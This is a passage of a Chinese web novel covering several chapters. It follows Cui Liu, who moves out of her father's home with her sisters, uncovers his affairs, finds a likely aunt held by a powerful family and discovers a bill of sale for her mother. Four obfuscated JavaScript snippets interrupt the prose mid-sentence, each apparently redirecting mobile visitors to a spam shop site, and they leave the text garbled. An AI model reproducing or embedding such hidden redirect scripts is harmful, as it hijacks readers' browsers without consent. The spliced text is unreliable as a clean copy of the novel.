至于许春燕的三个孩子,两个女儿住在东房的隔间里,闵青松至今还跟爸妈睡,总之,五个人挤一间房,比她们四个人挤半间房舒服多了。 崔六最后上床,刚准备吹灭煤油灯,闵铁牛又在外面咋呼起来:“翠柳啊,你出来一下。” 崔六黑着脸推开门:“什么事?” “差点忘了个事儿,有人跟我说,你去毓秀村找房子了?真的假的?你钱多?钱多给我。”闵铁牛再次伸手。 这么多年,他早就习惯了这种嘴皮子一张就有钱的快感。 崔六冷笑一声:“对,你儿子不是要结婚了吗?我们四个给你们腾地方呢,不谢。对了,我准备住在侯晶家后面,侯晶你认识吧?听说她跟你一起在鱼塘做过事?要不你去帮我们打个招呼,平时多关照关照我们,以后我们自然也会报答她的。” 闵铁牛不说话了,他就这么盯着这个女儿,眼中满是审视和猜疑。 沉默良久,他才说道:“一起养过鱼而已,没什么交情。别住那里,是非多,回头我帮你们找。” “不用了,我已经跟那边说好了。”崔六看出来了,这对狗男女绝对有一腿,宋大娘提供的情报一定是真的,便故意刺激了闵铁牛一声,“对了,明天你老婆不是回来吗?她要是知道我们住到别的地方去了,应该会很高兴吧?你跟她说,欢迎她去我们那边做客。” 闵铁牛的脸色变得比猪肝还要难看,他再次命令道:“不准住在那边,不然你就别指望看到你妈的照片了。” “我妈不是早死了吗?你少骗我,不给就不给,那你也别想拿回那三百多块钱了。”崔六嘭的一声把门摔上。 气得两个小的从东房后面的隔间里走了出来。 闵蓝芙嘀咕道:“爸,今后我们一家都要看她的脸色吗?真是反了天了。” 闵紫蓉则盯着闵铁牛若有所思,看来她爸爸跟侯晶确实有一腿,前些年队里传闲话的时候,他还不承认,为此,他还跟妈妈吵了一阵子,没想到居然是真的。 闵紫蓉有点嫌弃这个老子,什么人啊,到处勾三搭四。 忍不住挖苦道:“爸,你见过发情的公狗吗?” 闵铁牛诧异地看着她:“什么公狗?说正事呢,小孩子别打岔。” 闵紫蓉撇撇嘴,眼前不就是一条? 翻了个白眼,头也不回地回隔间去了。 闵蓝芙一向摸不透这个妹妹的脾气,不过她看得出来,小妹肯定又发现了什么,便也追了过去,关上门,她小声问到:“怎么了蓉蓉?没头没脑的忽然来这一下子。” “你没听出来吗?他对侯晶的事情反应特别大,他们两个真的好过。”闵紫蓉有点嫌弃这个姐姐的智商,这都看不出来,笨死了。 闵蓝芙恍然:“怪我,光顾着看翠柳了,你有没有发现,她这几天变得特别嚣张?我怀疑她被什么东西上身了。” 闵紫蓉翻了个白眼:“你又来了,整天就这些神神鬼鬼的,睡吧,明天还要去公社车站接妈呢。” * 崔六跟踪了一天,有所发现。 闵铁牛早起回去鱼塘查看情况,到那的时候,会钻进看鱼的棚子里,跟里头的看鱼人待半个小时,然后再出来。 至于他们两个在里面干什么?不知道。 不过也不难猜测,因为对方是个女人,就住在闵家后面隔了两排的沟边。 那条大沟是天然形成的,每逢下雨,沟里都会积攒不少的雨水,汛期过了会见底,属于有点像河,但又不能长期保持水位的尴尬存在。 两边全是茂盛的芦竹、卢苇、菖蒲等水生植物。 村里没少在那边捉到过偷情的男女,反正民不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501382|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举官不究,很多人家都是关起门来自己闹一闹,然后该怎么过就怎么过。 总之离婚是不可能离婚的。 崔六毫不怀疑,这个女人大概就是通过贡献身体,才获得了这么一个轻松赚取工分的活计。 之后闵铁牛去了许家,崔六一点都不意外。 看来得想想办法,哄一哄许家那个二世祖。 再后来,闵铁牛又去地里看了看,装装样子,一直晃悠到大中午,回来吃现成的。 啧,这生产队长真好当,背着手到处转转就行了。 到家的时候,许春燕已经回来了,两个小女儿在厨房帮她做饭,母女三个沟通了一下这几天的事情,发现坏事了。 第一,那三百多块钱可是许春燕手里最后的底牌了,其他的不是给三个孩子花掉了,就是贡献给了她娘家。 第二,闵青松还没有回来,看来县里没有通气,需要她再孝敬肖家一笔好处费。 第三,闵铁牛跟侯晶的龌龊事儿居然被孩子们知道了,她的女儿知道没关系,可是前头女人的女儿不行,到时候那四个拖油瓶还不知道要怎么笑话她呢。 第四,居然又有人看上翠柳了?这死丫头就是有福气啊,长得好看讨人喜欢。看在王露承诺了六百块彩礼的份上,她愿意成全那个死丫头,早点做个寡妇。 第五才是最要命的,听孩子们的意思,闵铁牛居然是利用“前妻近照”这样的诱饵,逼迫四个女儿一起答应了嫁人? 这不对劲啊,那女人不是死了吗? 难道闵铁牛背着她…… 想到这里,许春燕火冒三丈,一把剁了肉里面为数不多的两根骨头。 哐哐几声响,闵铁牛赔着笑脸从外面进来了。 许春燕一看到他就变了脸,把刀往砧板上一立,抱着胳膊,问道:“说,你前妻的近照是什么意思?” 闵铁牛赶紧比了个嘘的手势,拉着许春燕去后面房间:“你小点声,万一被那四个祖宗听见了可不得了。” “你什么意思?丰霈还活着?”许春燕杏眼倒竖,活像一条吐信子的毒蛇。 闵铁牛把头摇得像拨浪鼓:“怎么可能?我听你的,把她丢给水匪了。那么多男人,她又是个传统的女人,被羞辱了还能活?” 许春燕怀疑他在撒谎,问道:“真的?你亲眼看到她被羞辱了?” “真的!那群男人如狼似虎,这个抬腿,那个扒衣服,你见过蚂蚁抢毛毛虫的尸体吧,差不多就那样。”闵铁牛显然在撒谎,但这个谎言已经重复了无数次,他并不会脸红。 许春燕发现这次的说辞跟以往没有什么不同,将信将疑道:“那你上哪儿弄她的近照?” “她不是还有个被卖掉的妹子吗?两人长得那么像,我去找她妹子拍一张就是了。反正二十来年过去了,五官稍微有点变化也是正常的。”闵铁牛赔着笑脸,“好啦,别生气了,今天大喜的日子,高兴一点。” “高兴个屁啊!”许春燕气死了,“咱儿子还没有回来,你就没有想想办法?” 21. 彩礼(二更) 闵铁牛没有操心过这事,他以为县里的肖主任打过招呼了,闵青松顶多晚个一两天也会回来的,毕竟要做做样子,平息一下舆论。 他宽慰道:“应该没事的,下午我去问问朱玉民。” 许春燕翻了个白眼:“你可真行,自己儿子没回来都不着急?” “不会有事的,我昨天刚见过肖桂香,她没说什么啊。”闵铁牛并不担心这个,他有更重要的事情要问,“对了,听说江堤那边挖出来一具女尸,你这几天在县里,听到什么消息了吗?不会是她吧?” 许春燕不说话了,一把将他搡开,眼刀子上下翻滚,恨不得把这个男人千刀万剐。 闵铁牛心虚地摸了摸鼻子:“我没别的意思,就是问问,万一真的是她,搞不好那件事会被翻出来的。” 许春燕一把揪住了他的软肋:“你最好真的没有别的意思,不然别怪我把你做的丑事全部抖出来。” “嘿呦,我哪儿敢啊姑奶奶,不看僧面看佛面,看在我努力找咱闺女救你的份上,你就饶了我吧。”闵铁牛脸皮厚,见状干脆“虚弱”地往许春燕身上倒。 许春燕没好气地扇了他一个大嘴巴子:“滚开!” 闵铁牛生气了,捂着脸直起身来:“干嘛呀,你跟我之前跟过那么多男人,我说什么了吗?” “呦,现在知道嫌弃我出身不好了?当初干什么去了?丰霈倒是良家妇女,你也不稀罕啊。”许春燕看到这个男人装腔作势的样子就作呕。 自己是个烂ku裆,还好意思拿她做比较,她跟他在一起之后,可没有勾三搭四的。 至于她以前的事,那是身不由己,被老鸨操控,完全就是一个傀儡,能比吗? 真是不要脸。 她不想再跟他浪费唾沫了,催促道:“青松马上要结婚了,没钱能行吗?你赶紧去弄照片,把那三百多给我要回来,不然别怪我不客气。” 闵铁牛讪笑着转身:“知道了,吃了饭就去办,正好中午天热,应该都在家。” 两口子从房间出来,才发现老四已经回来了,穿着一身簇新的连衣裙,踩着一双漂亮的白色小皮鞋,头上还别了两个漂亮的蝴蝶发卡,发带用的是绸缎的,也许是从哪个礼盒上面拆下来的,至于她的手腕上,则带着一块女士手表。 许春燕一看就知道,老四这一身,从头到脚穿的都是阿芙跟蓉蓉的。 气得许春燕扬起手来就要打人。 三个大的正好下班回来,闵金菊还在门口便嚷了起来:“许春燕,你想干什么?你敢打我妹妹一下试试?” 许春燕回头一看,呦,是老三这个炮仗回来了,她冷笑着把手放下:“金菊啊,你不会想跟我动手吧?你动一个试试?” 闵金菊冲进堂屋来,一把将崔六扯到身后:“我不会主动打你的,可你要是敢动翠柳一根毫毛,我一定不会放过你的!” 许春燕不服气得很,以前这四个女儿都很乖,如今为着把翠柳嫁给陈会计的事,全都造反了。 气得她真就搡开了闵金菊,作势要给老四一下子。 闵金菊毫不客气地抢在她前头,一巴掌扇了过去:“贱人,你那老鸨妈妈是不是只教过你怎么卖骚讨好男人,没教过你怎么做个人?你已经害过一次翠柳了,居然还敢动手,我忍你很久了!” 这下可不得了了,许春燕什么时候被一个晚辈打过?还是她男人前头女人留下来的拖油瓶! 气得她立马揪住了闵金菊的衣领子,一巴掌扇了过去。 没想到她的巴掌还没有落下,手腕就被崔六掐住了,一个用力,直接把她扯到了崔六面前,再就着惯性,往后面的墙上一摔。 只听嘭的一声响,许春燕的脑袋就这么撞在了土砖墙上,皮倒是没破,却肿了个疙瘩。 痛得她立马哎呦哎呦的,装起了可怜。 闵铁牛瞧着势头不对,立马过来帮忙,不料崔六直接威胁道:“你敢扶她一下试试,等会我就去找侯晶,告诉她你们两个在闹离婚了!” 什么?闵铁牛气得头晕,这个翠柳,是真的留不得了!要不是王露许诺了六百块彩礼钱,他真的恨不得现在就弄死她。 只得忍着怒火,问道:“你到底想干什么?” “我没干什么吧,是你老婆先动手的。相安无事不好吗?还有,你说的照片呢?”崔六拦住想说话的闵红梅,闵橙萱明白,大姐一开口,搞不好会坏事,便赶紧把人往房间里拽。 闵金菊见状也拉扯大姐回了房间,转身退出来,关上门,守在了门口,退可以拦着大姐,进可以保护妹妹。 崔六抱着胳膊,看着刚从厨房赶过来的老六老七,冷笑道:“你们两个也给我消停点,不然我直接去举报你们没有入学资格!好了,就这样,下午我们四个就搬走了,免得两看生厌。” 说罢,崔六端了把长条板凳,跟三姐一起坐在了西房的门口,商量起了搬家要带什么东西。 有软肋的夫妻俩和姐妹俩,只得无能狂怒,嘀嘀咕咕的往厨房去了。 闵蓝芙很是咽不下这口气,问道:“爸,你到底能不能管管她们?这个家简直成了她们的天下了,你才是一家之主好吗?” 闵铁牛丢脸丢大了,却还是要摆谱:“我这叫权宜之计,等那三百块钱要回来,你看我怎么收拾她们!” “她们真的会嫁给那四个男人吗?”闵蓝芙很在意这个,她再也不想看到这四个讨厌的拖油瓶了。 闵铁牛有信心:“一定会的,她们最放不下的就是她们的妈妈,等我找到她们的小姨,拍张照片糊弄住她们,一切就由不得她们了。” 闵蓝芙终于松了口气:“那就好,赶紧把她们嫁出去,这种日子太难熬了。” * 闵铁牛中午去了趟别的公社,骑着车,跟踩了风火轮似的,脚踏板都快踩冒烟了。 崔六找孙婕借了自行车,乔装后不远不近地跟着,一路跟到了三个公社之外的县郊。 随后闵铁牛进了郊区的国营菜场,他似乎跟这里很熟,一路上都有人跟他打招呼。 崔六狐疑地推着自行车,跟着往里走。 很快,闵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501383|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁牛停在了一户人家门口,进去后不知道说了什么,出来的时候满脸红光,喜出望外。 崔六记下了门牌号,又跟着闵铁牛离开。 闵铁牛之后就直接回了鱼塘,装模作样,混点工分,并没有去公社打听他儿子的情况。 崔六没有声张,去孙婕家换了身衣服,又去找了宋大娘他们村的大队书记,商量了一下租房的事情。 房租一个月三块,租半年,一共是十八块。 崔六松了口气,起码以后不用再面对那几张令人作呕的脸了。 最好再抱只小狗看家护院,免得许春燕明的不行来暗的。 从大队支部出来的时候,她遇到了王露。 王露老远就看到了她了,喜出望外,赶紧加快速度,骑车赶到她面前:“翠柳啊,你怎么来了?” 崔六把租房合同给她看。 王露很是心疼:“委屈你了孩子。对了,你来得正好,彩礼钱我准备好了,你跟我回去,自己找个地方藏起来,别再让你爸和许春燕骗去了。” 崔六拒绝了:“不用了王阿姨,说好的是合作,你情我愿的,谈钱就伤感情了。” 王露赶紧劝道:“那不行!说白了,这钱也不是我赚的,是部队给泽林的伤残补助,既然你嫁给他了,这钱自然要给你的。你要是不喜欢彩礼这个说法,那就换个说法,我代表泽林,把你们小家庭的经济大权交给你了。” 崔六还想再说什么,却见王露苦着脸,不高兴了,只得妥协:“好好好,我收,我收。” 王露终于高兴了:“这还差不多!走,跟我去家里坐坐。正好我买了个西瓜,冰在井里半天了,现在吃正好。” 恭敬不如从命,崔六骑着车,跟着去了楚家。 离宋大娘家不远,隔了半个村子的距离,离公社也近。 到了楚家,但见院落清爽整齐,一共六间房两户的宅基地,围城了一个大院子。 崔六好奇:“王阿姨家有两块宅基地啊。” 王露热情地介绍道:“是呢,另一个是泽林爷爷奶奶住的,不过老人家前年就去世了,空出来正好给泽林养病住着,淙林也住在那边,豆苗住在东边院子的西房里。” 那确实宽敞多了,跟闵家姐妹的住宿条件比起来,算得上一个天上一个地下。 毕竟,豆苗单独住一个房间呢。 崔六确实羡慕这个备受宠爱的豆苗,忍不住夸道:“做王阿姨的孩子一定很幸福。” 王露可爱听这话了,眉开眼笑的:“来来来,坐,豆苗出去了,淙林中午刚给泽林喂过流食擦过身体,这会儿去找朋友玩了,他也要透透气,不然整天闷在家里,会闷出毛病来。至于你楚叔叔,在粮站上班呢,家里就泽林跟我,来,别见外,坐。我去切西瓜。” 崔六把车停好,问道:“我能去西边院子看看泽林吗?” 毕竟这可是她未来的丈夫呢。 王露轻车熟路地把井绳往上拽:“去吧,进门的时候小心点,我怕他自己在家有个好歹,在他房间门口拴了条狗。” 22. 小姨 楚家的房子打扫得很干净,地面铺着整齐的红砖。 傍晚的阳光斜照进房间门口,将一只黑色土狗的身体照得半明半暗。 狗子听到脚步声,立马抖了抖耳朵站了起来,鼻子嗅了嗅,虽然这个陌生人身上有家里人的气味,但它还是拦在门口,做出了防御的姿态。 直到水井那边的王露喊了声它的名字,它这才侧身让开。 等到崔六进了房间,它也跟了进来,耷拉着舌头散热的同时,时刻警惕着陌生人的一举一动。 崔六没有理会,转身看着躺在床上的男人。 夕阳余晖从窗口洒进来,落在他棱角分明的脸颊上,显得格外的安静,平和。 当然,植物人肯定安静,也必然平和。 不过可以想象,这个男人在平时应该也是个温暖的人,要不然,不至于在洪水里拼进拼出,疏散了那么多百姓。 从这一点来说,她真的不想收那笔彩礼钱,有种对英雄的亵渎。 所以她从房间出来后,还是跟王露商量了一下:“王阿姨,彩礼钱你先拿着吧,我找不到安全的地方存放,万一被我爸和许春燕发现可不得了。” 王露想想也对,那就等结了婚住过来再给吧,她把切好的西瓜递给崔六:“他们两口子经常搜你们姐妹的东西吗?” “嗯,我们身上一个子儿都不能剩,哪怕藏在鞋垫子下面,也会被许春燕找出来。”崔六接过西瓜,讲起了姐妹四个的辛酸史。 王露听着眼睛泛红:“造孽啊,这两口子简直不做人。你那三个姐姐都拖成老姑娘了,再这么下去可怎么好?还是得搬出来,自立门户,才能摆脱他们的控制。” “嗯,等会回去我们就搬家了,免得夜长梦多。”崔六咬了口西瓜,清脆可口,汁水香甜,忍不住夸道,“这瓜挑得不错,可以弄点西瓜汁喂泽林吗?” 王露叹了口气:“淙林不肯,西瓜利尿,喂了泽林之后,淙林得时刻看着,要不然泽林尿床上了怎么办?” 那倒也是,崔六好奇道:“泽林每天大小便怎么解决的?” 王露无奈地解释道:“原本医院那边让弄什么导尿管,可是一旦护理不及时就容易发炎,只能拔了。淙林每天定时帮他排尿排便。” 崔六有点想象不出来:“怎么帮,泽林还有知觉吗?” 王露起身,把吃完的西瓜皮丢进院子西边的鸡窝那里,回头道:“有,每次淙林扶他坐起来,他就会排尿排便,所以照顾泽林没有想象得那么困难。他只是伤到了脑子,身体还是正常的。” 那就好,可以自主排尿排便的话,说不定真有醒来的希望。 崔六又问:“喂流食的时候,他会张嘴吃吗?” “不会,需要淙林从身后搂着他,掰开他的嘴一勺一勺喂,喂的时候还要帮忙顺他的食管。”王露很是难为情,“你要是后悔的话,现在还来得及。” 崔六也把吃完的西瓜皮丢进了鸡窝,接过王露递过来的毛巾擦了擦手:“没想反悔,我只是了解一下具体怎么照顾他。对了,医生有没有说,要不要给他翻翻身体,活动四肢?要不要带他晒太阳?” “医生是建议这么做来着,可是淙林心里有怨气,两三天才做一回。我呢,有空就帮忙拽着泽林的胳膊腿挥一挥蹬一蹬,晒太阳的话我没什么时间,中午太晒,上午跟下午又要忙队里的妇女工作。”王露很是惭愧,“如果你跟泽林结婚了,以后这些就拜托你了。你放心,泽林有国家养着,你的口粮由我跟你公公提供,你什么都不用管,只要照顾好泽林就行了。当然,你要是想回村里帮你姐姐们盖房子,我也没意见,你把泽林的事张罗完了就行,记得准时回来喂饭。来不及的话,你要提前给我说。” “行,我知道了。”崔六瞧着时候不早了,还要回去搬家,便起身告辞了。 王露一直把她送到了村口,再三问道:“你真的不后悔吗孩子?” “王阿姨,人无信不立,放心吧。”崔六笑着挥了挥手,“回去吧,泽林一个人在家不好。” “哎,骑慢点,小心路上有蛇。” * 崔六回到闵家的时候,许春燕正在跟闵铁牛吵架。 看到她回来,两口子立马拉拉扯扯地进了东房,不想被她看笑话。 崔六一脸茫然的问道:“怎么,我爸跟王娟的事情被你知道了?” “王娟?果然是后村的王娟?”许春燕一听,立马化身炮仗,揪住闵铁牛的衣领子要说法。 崔六赶紧装无辜:“啊?我以为你们……当我什么也没说。” 闵铁牛气死了,没时间训斥这个女儿,赶紧先把许春燕哄住。 他这样的男人,每次奸情败露,习惯性地就会否认,只要没有被捉奸在床,就还有转圜的余地。 于是他解释道:“都是村里人胡说的,翠柳怨恨你想把她嫁给陈会计,故意挑唆你我的关系,你这都看不出来?” “闵铁牛,你别装!你是个什么脏东西你比我有数!”许春燕根本不想在老四面前丢人,可是今天下午她去队里核查自己这个月的工分时,队里的好事者就提醒过她,最近闵铁牛跟王娟不太对劲。 那王娟的男人自打从拖拉机上摔下来,就成了个残废,他跟孩子都靠王娟养着。 王娟一个人撑不下去,肯定会找个男人依靠,没想到找的是她许春燕的男人。 许春燕怎么能不气,一把扯着闵铁牛,要上王娟家里对峙。 趁着两口子吵闹的机会,崔六她们四个赶紧搬家。 借来的牛车都没有装满,这个家里便没了她们四姐妹的东西了。 月色正好,姐妹四个光速离开了那个家,赶到毓秀村的时候,已经是半夜九点多了。 收拾收拾,闵红梅准备生火做饭,崔六转身进了房间,在系统商店里买了些面包、烤肠等食物。 闵红梅诧异地看着她:“哪儿来的?” “画图样的人家给的。”崔六暂时还不想告诉姐姐们系统的事,怕她们接受不了,只能撒了个谎。 闵红梅又问:“谁家啊,这么大方,这面包还带肉松,不便宜吧?” 崔六糊弄道:“我哪知道,给我我就收着了,吃吧姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501384|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,时候不早了,明天还要上班。” 也好,闵红梅没有再问,去院子里摘了点蒜叶,把烤肠炒了,姐妹四个就着蒜叶炒烤肠,吃起了面包。 再喝点凉白开,晚饭就这么对付过去。 吃完崔六叫住了闵金菊:“三姐,你明天别去码头那边了,留下来帮我吧。” “什么事?”闵金菊有点意外,她还想多帮两个姐姐做点事,多赚点钱赶紧把房子盖了。 崔六提了一嘴跟踪闵铁牛的事:“我得去看看国营菜场那边到底什么情况,你留下来等小何的消息。万一汇款单到了,等闵铁牛签收完,你想办法弄过来。最好悄悄的,别让他知道。” “行,那你把你那身行头给我,我要是直接回去,他们肯定要防着我。”闵金菊没意见,五百块钱的汇款单,确实很重要,哪怕抢不过来,起码要看到汇款人的姓名和地址。 这样才能掌握闵铁牛背后那个靠山的信息。 第二天一早,天还没亮,崔六便赶去了国营菜场。 那边的户口很特殊,归属上来说,依旧是农业户口,可是他们享受的是领工资吃公粮的待遇。 是专们给城市提供蔬菜的菜农,吃喝不愁。 她凭着记忆,找到了闵铁牛造访的这户人家门口。 到那的时候已经是上午六点半了,这户人家的壮劳力都去了菜地忙碌,只有老弱妇孺在家。 一个头发半白的妇女正坐在院子里的水井旁边洗衣服,搓衣板架在塑料红盆里面,夸嚓夸嚓的响。 崔六好奇走近一点,清晨暖热的阳光下,女人的额头沁出薄薄一层汗水,眼神专注,似乎听不见外面的动静。 直到崔六蹲到她面前,伸手在她眼前挥了挥,她才笑着抬起头来,嘴巴张开,却只能发出啊啊啊的声音,见对面的年轻女同志一脸茫然,她赶紧把手上的肥皂泡泡擦在围裙上,双手比划了起来。 崔六不懂手语,但这不耽误她怀疑这个女人的身份。 因为这个女人,跟原身的妈妈长得太像了。 原身虽然没有见过妈妈,但是原身的姐姐们藏了一张照片。 上次三姐跟她约定了要把照片挖出来看看,因为事多还没顾上。 崔六仔细看了又看,没错,这个女人真的很像四姐妹的妈妈丰霈。 丰霈早年是十里八乡出了名的绣娘,国内的几大名绣就没有她不会的,还会双面绣呢。 跟闵铁牛在一起算是下嫁了,只是因为闵铁牛在战火里救了她一命。 丰霈甚至自带嫁妆,是个勤劳致富家境相对殷实的手艺人。 至于丰霈的娘家,因为几个姐姐从来没有提起过,原身自己也不清楚。 可是现在,跟丰霈长得有七八分相似的女人出现在崔六的面前,她毫不怀疑,这人肯定是丰霈的姐妹。 这女人脸上的皱纹并不多,奇怪的是,这女人的头发居然白了一半,可能是日子太苦造成的。 如果根据女人的皮肤状态判断,实际年龄也就四十左右。 那么,也许她该叫这个女人……小姨? 23. 卖身契(二更) 崔六没有办法跟这个小姨沟通,只能跟院子里的孩子聊天。 幸亏她的系统商店里有糖果卖,她把手伸进帆布包,抓了把大白兔奶糖出来,交给了孩子们。 最大的那个七八岁了,是个男孩子,穿着尿素袋子做的裤子,身上的衣服也满是补丁,不过衣服洗得很干净,看得出来长辈很用心在照顾他。 崔六问道:“小弟弟,这个是你奶奶吗?” 小孩摇了摇头:“我爷爷不允许我叫她奶奶。” 崔六蹙眉:“为什么呢?她不是你奶奶?是姥姥?” “不知道怎么说,我爸爸是她生的,但她不是我奶奶,我奶奶生不了孩子。”小孩子看在奶糖的份上,把自己知道的都告诉了翠柳,“爷爷只允许我们喊她姨奶奶。” 崔六好奇:“那她是你奶奶的姐妹吗?” 小孩摇头:“不是,是买——” 话音未落,屋里走出来一个大腹便便的孕妇,她打断了小男孩,不客气道:“你谁啊?瞎打听什么呢?” 崔六抬头看去,但见这女人的脑袋上飘着一堆红包,都是些狗血无语的龌龊事儿。 崔六现在没有心情关心红包的内容,随口扯了个谎:“你好,我是帮公社写宣传稿的,这一期的主题是关心弱势群体,听说你们家有个聋哑人,所以过来采访一下。” 女人将信将疑:“那你工作簿都不带?” “带了带了,在包里。”崔六包里刚好存放着上次带瓦匠去看房子,估算费用时用的工作簿,便拿了出来,再把圆珠笔摁下去,问道,“那我现在可以采访了吗?” “不需要,我们家可以照顾好自己的家人,你去别人家吧。”女人不耐烦的摆了摆手,要撵崔六走。 崔六瞧着这家人很有古怪,再坚持下去,把他们家的男人惊动回来就不好了,便起身道:“那好吧,打扰了。” 离开后,崔六在附近转了转,看到另外几家也有老弱妇孺在家,便拿着糖果,继续以关心弱势群体为由,冒充公社的宣传员,写采访去了。 好在并不是所有人家都这么草木皆兵,崔六很快得到了一些有用的消息。 这家人也姓肖,男主人叫肖锡山,跟县里的肖主任是叔伯兄弟。 肖锡山的老婆冯小巧不能生,就从外面找了个女人回来传宗接代。 有了孩子之后,冯小巧担心这个女人威胁她的地位,就把孩子抢走了,逼着孩子们叫这女人叫小姨。 实际上大家都知道,聋哑女人才是肖锡山那五个孩子的亲妈。 至于这个女人叫什么,不知道,只知道她生育第一个孩子的时候才十五岁,如今不过四十出头,已经做奶奶了。 崔六听着心惊肉跳,按时间算,那是解放前发生的事情,果然黑暗,没有人性。 可是建国之后,肖锡山居然可以用这种方式左拥右抱,可见所属公社有他们的靠山,要不然,邻居随便一举报,他不得被处理? 何况这个肖锡山,还是菜场的负责人呢。 这事要说没有肖主任的庇护,崔六是绝对不会相信的。 她给热心的邻居家里也送了些大白兔奶糖、面包、烤肠等食品,离开的时候叮嘱了对方,千万不要告诉肖家他们的谈话内容。 对方也不傻,不敢得罪肖家,知道该怎么说。 崔六趁着时候还早,赶紧回公社,去了趟许开山家。 倒是巧了,许家那个游手好闲的儿子许向北,因为离婚后空虚寂寞,正在村头调戏一个疯女人。 女人曾经连生五个女儿,生一个没一个,都被她婆婆送走了。 女人受不了这样的摧残,最终精神失常,疯疯癫癫。 不管酷暑还是凛冬,怀里总是抱着一个稻草做的娃娃,见到人就笑嘻嘻的:“你看,这是我闺女。” 许向北勾引不到正常的清醒的女人,便对疯女人下手。 崔六来得巧,疯女人的衣服刚被他扯下来一半。 崔六一声怒喝,许向北赶紧胡乱把女人的衣服掩上,装作一本正经的样子,尬笑道:“是翠柳妹妹啊,你怎么来了?” 说着心虚地瞥了眼村道的后面,看看有没有其他人过来。 崔六随口胡诌道:“当然是因为有人举报你调戏小秦嫂子了,走,跟我去找公安特派员自首,坦白从宽,也许用不着坐牢。” 许向北急了,立马搡开身侧的女人:“你别听人胡说,她身上有虱子,找我帮忙抓虱子的,我可是清清白白的,什么都没做啊。” 崔六冷笑道:“哦?我可不信。我刚好要去你们队上的广播站有事,要不我去吼一嗓子,帮你宣扬宣扬,看看你的解释有没有人相信。” 许向北可不敢让村里人知道,被人笑话不说,还要连累全家吃挂落。 只得赶紧说好话:“翠柳妹妹,别这样行吗?我知道你跟我姑有矛盾,可是我没得罪你啊。” 机不可失时不再来,崔六妥协道:“那你把你姑父送到你家的箱子给我找出来,我就不去广播站揭发你。” 许向北松了口气:“你想要那个箱子?好说,反正也没什么值钱的东西,就放了两套他跟我姑结婚时候的吉福。” 崔六并不相信这句鬼话,她怀疑箱子里的东西被掉包了,但她也没有凭据,只能先把箱子拿过来再说。 便点点头:“那走,我跟你一起去拿。你家里没有别人吧?” “没有。”许向北有点遗憾,就是因为家里没人,所以他才想把小秦嫂子骗过去的,可惜了。 算了,以后还有机会,眼下先把翠柳安抚了再说,他便扭头回去了。 很快抱了个箱子给崔六:“你掂掂看,没什么东西的。” 崔六试了试,果然很轻,可惜箱子上了锁,没办法一窥真容。 她把箱子接过来:“行了,等我观察你几天,只要你改邪归正,我就不去揭发你。记住啊,小秦嫂子现在疯了,你碰她就是耍流氓,她要是反抗起来,你不小心失手把她弄出个好歹,你全家都完了。” 许向北被吓得不轻,赶紧点头:“不敢了不敢了,我一定改。” 崔六这才离开了,路上还是不放心,找到满村晃悠的小秦嫂子,把她带去了大队支部那里,找到上圩村所属生产队的妇女队长,照看一二。 安排好小秦嫂子的事,崔六这才往碧云村赶去, 路上找了个水沟,猫进去撬开了箱子上的锁,里面确实只有两套二十几年前的婚服,真丑。 崔六有点失望,看来闵铁牛还是防了一手,把里面的东西替换掉了,要不然,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508297|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能特地从她姐姐手里把东西抢走,送去了许家。 不,也许里面还藏了暗格? 崔六又在箱子里到处敲了敲摸了摸,在她用力摁住底板边缘的时候,板子明显向下变形了,露出一个拇指大小的缝隙,她掀开板子一看,果然,下面还藏了一层。 不过里面的东西也被清理掉了,只有夹层里面露出一个泛黄纸张的一角,不仔细看根本察觉不到。 应该是清理箱子的人太着急了,没有仔细检查,遗漏了这一张纸。 崔六小心翼翼地把夹层拆开,翻出来的居然是一张卖身契。 盖的是民国的戳,卖家不是别人,正是闵铁牛。 被卖的妇女不是别人,正是姐妹四个的亲妈,丰霈。 买家估计是个老鸨,名字叫“包妈妈”,包妈妈应该不识字,签字画押的那里没有签字,只摁了个手印。 崔六忽然一阵天旋地转,那一瞬间的心痛,好像真的是自己的妈妈被卖了一样。 